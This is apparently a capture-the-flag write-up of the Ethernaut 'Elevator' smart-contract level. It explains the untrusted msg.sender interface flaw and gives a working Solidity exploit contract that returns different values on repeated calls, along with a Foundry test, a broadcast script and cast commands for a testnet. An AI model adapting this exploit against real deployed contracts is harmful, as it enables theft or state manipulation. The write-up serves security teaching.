- this challenge explores vulnerabilities in smart contract composability (usually classified into ERC standards, libraries, and interfaces).
- more specifically, the lesson in this challenge is to be careful when using interfaces (or other contracts), as they introduce an attack surface to any re-implementable function (and
view
orpure
modifiers cannot be treated as guarantees for function behavior).- remember that an
interface
cannot have any functions implemented, declare a constructor, declare state variables, and all functions must be external.
- remember that an
- in addition, another takeaway is to refrain from giving permissions to
msg.sender
to implement interfaces or modify the storage and state of your contract (unless explicitly required).
pragma solidity ^0.8.0;
interface Building {
function isLastFloor(uint) external returns (bool);
}
contract Elevator {
bool public top;
uint public floor;
function goTo(uint _floor) public {
Building building = Building(msg.sender);
if (! building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}
- the contract starts with an
interface
containing anexternal
function that returns abool
ifisLastFloor()
.- note that
external
allows a state change (an alternative isview
, which doesn't allow modification of the state of the contract).
- note that
interface Building {
function isLastFloor(uint) external returns (bool);
}
- now, let's look at the
Elevator
contract, where we already see a mistake in the very definition:
contract Elevator {...}
should be, instead,
contract Elevator is Building {...}
- next, we see two state variables,
bool top
to indicate if we are at the top anduint floor
telling where to go:
bool public top;
uint public floor;
- finally, there is one (
public
) function, which simulates the movement of the elevator by first initiating thebuilding
contract (with the data provided bymsg.sender
) and then takinguint _floor
. this challenge's vulnerability is found in this part, due to the unchecked assumption about the caller:
function goTo(uint _floor) public {
Building building = Building(msg.sender);
}
- if the given floor number is not the last, fill both in variables
floor
andtop
:
if (! building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
- our goal is to pass the check
!building.isLastFloor(_floor)
so that we can maketop == True
by hacking the interface functionisLastFloor()
.- we can achieve this by tailoring an exploit using the interface and defining
isLastFloor()
to returnfalse
in the first call andtrue
in the second call (with the same input).
- we can achieve this by tailoring an exploit using the interface and defining
- an exploit could be crafted with
contract.call(abi.encodeWithSignature("goTo(uint)", 0))
.- however, since we are leveraging foundry, we craft the following exploit:
contract ElevatorExploit is Building {
uint public lastFloor;
function isLastFloor(uint thisFloor) external override returns (bool) {
if (lastFloor != thisFloor) {
lastFloor = thisFloor;
return false;
}
return true;
}
function run(Elevator level) public {
level.goTo(1337);
}
}
- which can be tested with
test/11.Elevator.t.sol
:
contract ElevatorTest is Test {
Elevator public level = new Elevator();
address hacker = vm.addr(0x1337);
function testElevatorHack() public {
vm.startPrank(hacker);
ElevatorExploit exploit = new ElevatorExploit();
exploit.run(level);
assert(level.top());
vm.stopPrank();
}
}
- by running:
forge test --match-contract ElevatorTest -vvvv
- and submitted with
script/11/Elevator.s.sol
:
contract Exploit is Script {
address instance = vm.envAddress("INSTANCE_LEVEL11");
address hacker = vm.rememberKey(vm.envUint("PRIVATE_KEY"));
Elevator level = Elevator(instance);
ElevatorExploit public exploit;
function run() external {
vm.startBroadcast(hacker);
exploit = new ElevatorExploit();
exploit.run(level);
vm.stopBroadcast();
}
}
- by running:
> forge script ./script/11/Elevator.s.sol --broadcast -vvvv --rpc-url sepolia
- another way to submit our exploit is through
cast
. first, we could deploy our attack contract with:
> forge create src/11/ElevatorExploit.sol:ElevatorExploit \
--constructor-args=<level address> --private-key=<private-key> --rpc-url=<sepolia url>
- then, we call the contract with:
> cast send <level address> "run()" --gas <extra gas> --private-key=<private-key> --rpc-url=<sepolia url>
- finally, we can confirm that
top()
istrue
with:
> cast call <level address> "top()" --rpc-url=<sepolia url>